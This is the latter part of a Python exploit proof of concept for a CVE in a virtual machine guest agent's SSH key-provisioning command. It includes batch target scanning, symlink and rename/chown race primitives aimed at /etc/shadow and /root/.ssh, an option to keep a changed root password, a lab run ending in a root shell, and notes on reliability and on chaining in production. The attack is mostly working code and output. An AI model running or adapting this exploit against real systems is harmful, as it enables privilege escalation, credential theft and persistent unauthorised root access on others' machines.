    with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------------
# single target
# ---------------------------------------------------------------------------

def exploit(host, port, use_tls, args):
    header(host, port)
    run_id = secrets.token_hex(8)
    agent = AgentChannel(host, port, use_tls)
    fh = None
    st = None
    results = {}

    try:
        step(1, "Fingerprinting the guest agent on the management channel...")
        try:
            agent.connect()
            agent.ping()
            info = agent.info()
        except Exception as exc:
            done(False, "management channel unreachable at %s:%d (%s)"
                 % (host, port, exc.__class__.__name__))
        version = info.get("version", "?")
        cmds = {c.get("name"): c for c in info.get("supported_commands", [])}
        entry = cmds.get(PROVISION_CMD) or {}
        section("GUEST AGENT", "version           : %s\naffected range    : %s - %s\n%-18s: %s"
                % (version, ".".join(map(str, VULN_MIN)), ".".join(map(str, VULN_MAX)),
                   PROVISION_CMD, "enabled" if entry.get("enabled") else "absent or blocked"))
        if not entry.get("enabled"):
            done(False, "%s is not available on this agent, the vendor mitigation is in place"
                 % PROVISION_CMD)
        if not version_affected(version):
            print("        note: %s is outside the published affected range, continuing anyway "
                  "because no release carries a fix" % version)

        step(2, "Taking the unprivileged foothold the CVE presupposes...")
        if args.local:
            fh = LocalFoothold()
            username = args.username or fh.out("id -un")
        else:
            if not args.username or not (args.password or args.ssh_key):
                done(False, "the chain needs the unprivileged account it escalates from, pass "
                            "--username with --password or --ssh-key (or --local if you already "
                            "have a shell on the guest)")
            username = args.username
            fh = SSHFoothold(host, args.ssh_port, username, args.password, args.ssh_key).connect()
        idline = fh.out("id")
        print("        %s -> %s" % (fh.kind, idline))
        if "uid=0(" in idline:
            done(False, "the foothold account is already root, there is nothing to escalate")

        st = Stage(agent, fh, username, run_id)
        home = st.discover()
        print("        home directory of %s: %s" % (username, home))
        keys = [fake_pubkey()]

        if args.phase in ("all", "a"):
            step(3, "Primitive A: directory symlink, %s -> %s" % (st.ssh_dir, args.root_dir))
            owned, after, proof, note = phase_directory_symlink(st, args.root_dir, keys)
            results["A"] = owned
            victim = args.root_dir.rstrip('/') + "/authorized_keys"
            if owned and proof:
                section("PRIMITIVE A - OWNERSHIP OF A FILE IN A ROOT-ONLY DIRECTORY",
                        "%s  ->  %s\nrewritten by %s:  %s" % (victim, after, username, proof))
            elif owned:
                section("PRIMITIVE A - OWNERSHIP OF A FILE IN A ROOT-ONLY DIRECTORY", note)
            else:
                section("PRIMITIVE A - BLOCKED",
                        "%s stayed %s (%s)" % (victim, after, note))

        if args.phase in ("all", "a"):
            step(4, "Primitive B: file symlink, root-privileged read of %s" % args.read_file)
            got, body = phase_file_read(st, args.read_file, keys)
            results["B"] = got
            if got:
                section("PRIMITIVE B - ARBITRARY FILE READ AS ROOT (%s)" % args.read_file,
                        "\n".join(body.splitlines()[:12]))
            else:
                section("PRIMITIVE B - BLOCKED", "no contents of %s came back" % args.read_file)

        if args.phase in ("all", "b"):
            step(5, "Primitive C: racing the rename()->chown() window for %s" % args.target_file)
            won, sent, errors, before, after = phase_race(
                st, args.target_file, keys, args.iterations, args.spinners, args.batch)
            results["C"] = won
            section("PRIMITIVE C - RACE RESULT",
                    "provisioning calls : %d (%d agent errors)\n%s before : %s\n%s after  : %s"
                    % (sent, errors, args.target_file, before, args.target_file, after))
            if not won:
                if results.get("A") or results.get("B"):
                    done(False, "deterministic primitives landed but the chown() window was not hit "
                                "in %d calls, raise --iterations or --spinners" % sent)
                done(False, "no primitive landed in %d calls, the target looks patched" % sent)

            step(6, "Converting ownership of %s into root..." % args.target_file)
            got_root, root_id, password, _orig = phase_escalate(
                st, args.target_file, fh, args.keep_access)
            if not got_root:
                section("ESCALATION", "ownership of %s was obtained but the password change did "
                                      "not yield a root shell" % args.target_file)
                done(False, "took ownership of %s as %s but could not complete the login"
                     % (args.target_file, username))
            section("ROOT SHELL", "%s\nreached from a session that started as %s"
                    % (root_id, username))
            if args.keep_access:
                print("        --keep-access: root's password is left set to %s" % password)
            done(True, "Root obtained - %s (started as %s, %d provisioning calls, agent used only "
                       "for %s)" % (root_id, username, sent, PROVISION_CMD))

        # phase A only
        if results.get("A") or results.get("B"):
            done(True, "Symlink following confirmed as %s: %s"
                 % (username, ", ".join(k for k, v in results.items() if v)))
        done(False, "no primitive landed, the target looks patched")

    finally:
        try:
            if st:
                st.reset_ssh_dir(real_dir=False)
                fh.run("rm -rf %s" % q(st.workdir))
        except Exception:
            pass
        if fh:
            fh.close()
        agent.close()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP or URL of the guest agent "
                                           "management channel (e.g. tcp://host:4444)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=4444,
                        help="Guest agent management channel port (default: 4444)")
    parser.add_argument("--username", default=None,
                        help="Unprivileged guest account you already control and escalate from; "
                             "also the account named in the provisioning call")
    parser.add_argument("--password", default=None, help="Password for that account")
    parser.add_argument("--ssh-key", default=None, help="Private key for that account instead of a password")
    parser.add_argument("--ssh-port", type=int, default=22, help="SSH port of the guest (default: 22)")
    parser.add_argument("--local", action="store_true",
                        help="You are already on the guest as that account, run staging locally")
    parser.add_argument("--target-file", default="/etc/shadow",
                        help="Root-owned file to take ownership of via the race (default: /etc/shadow)")
    parser.add_argument("--read-file", default="/etc/shadow",
                        help="Root-owned file to read via the deterministic read primitive "
                             "(default: /etc/shadow)")
    parser.add_argument("--root-dir", default="/root/.ssh",
                        help="Existing root-owned directory for the deterministic primitive "
                             "(default: /root/.ssh)")
    parser.add_argument("--iterations", type=int, default=2000,
                        help="Provisioning calls to spend on the race (default: 2000)")
    parser.add_argument("--spinners", type=int, default=4,
                        help="Symlink swapper processes on the guest (default: 4)")
    parser.add_argument("--batch", type=int, default=25,
                        help="Calls between ownership checks (default: 25)")
    parser.add_argument("--phase", choices=("all", "a", "b"), default="all",
                        help="all, a (deterministic primitives only) or b (race only)")
    parser.add_argument("--keep-access", action="store_true",
                        help="Leave the new root password in place instead of restoring the original")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS on the management channel")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, password=args.password, keyfile=args.ssh_key,
             ssh_port=args.ssh_port, target_file=args.target_file,
             iterations=args.iterations, spinners=args.spinners)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args)

#Usage

python exploit.py --host 127.0.0.1 --port 4444 --username lowpriv --password lowpriv123

Running against the vulnerable lab container:

[STEP 1] Fingerprinting the guest agent on the management channel...

--- GUEST AGENT ---
version           : 7.2.22
affected range    : 5.2.0 - 11.0.3
guest-ssh-add-authorized-keys: enabled
---

[STEP 2] Taking the unprivileged foothold the CVE presupposes...
        ssh://[email protected]:12082 -> uid=1000(lowpriv) gid=1000(lowpriv) groups=1000(lowpriv)

[STEP 3] Primitive A: directory symlink, /home/lowpriv/.ssh -> /root/.ssh
        agent reply: {"return": {}}

[STEP 5] Primitive C: racing the rename()->chown() window for /etc/shadow
        spinner: compiled
        6 spinner process(es) started
        /etc/shadow before: root shadow 640

--- PRIMITIVE C - RACE RESULT ---
provisioning calls : 25 (0 agent errors)
/etc/shadow before : root shadow 640
/etc/shadow after  : lowpriv lowpriv 600
---

[STEP 6] Converting ownership of /etc/shadow into root...

--- ROOT SHELL ---
uid=0(root) gid=0(root) groups=0(root)
reached from a session that started as lowpriv

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Root obtained - uid=0(root) gid=0(root) groups=0(root) (started as lowpriv, 25 provisioning calls, agent used only for guest-ssh-add-authorized-keys)
============================================================

Key arguments:

#Exploitation notes

#Preconditions

#Reliability and impact

Primitive A (directory symlink). Deterministic and reliable. One provisioning call. The attacker places a file (authorized_keys) inside a root-only directory and gains ownership of it. This primitive alone does not yield a shell because OpenSSH's StrictModes rejects authorized_keys not owned by the target user or root, but it proves the vulnerability and can chain to root through directory configurations that ignore file ownership.

Primitive B (root file read). Deterministic and reliable. One provisioning call. An arbitrary root-owned file is read with root privilege and its contents are returned to the attacker in a file they own. Useful for extracting credentials or keys.

Primitive C (TOCTOU race to root). Probabilistic. Requires a compiled renameat2() spinner and multiple provisioning calls (dozens to a few thousand, depending on system load). Ownership of /etc/shadow is the most direct path: modify root's password hash and su - to root. Verified to succeed in as few as 25 calls on a quiet lab machine.

#Chaining potential

The three primitives can be combined. Primitive A is fast and deterministic, making it useful for reconnaissance or planting files in traversable directories. Primitives B and C require the race or read mechanics. In production environments, multiple invocations of the provisioning command are common (key rotation, onboarding new users, CI/CD pipelines), making the race window likely to be hit within reasonable iteration counts.

#References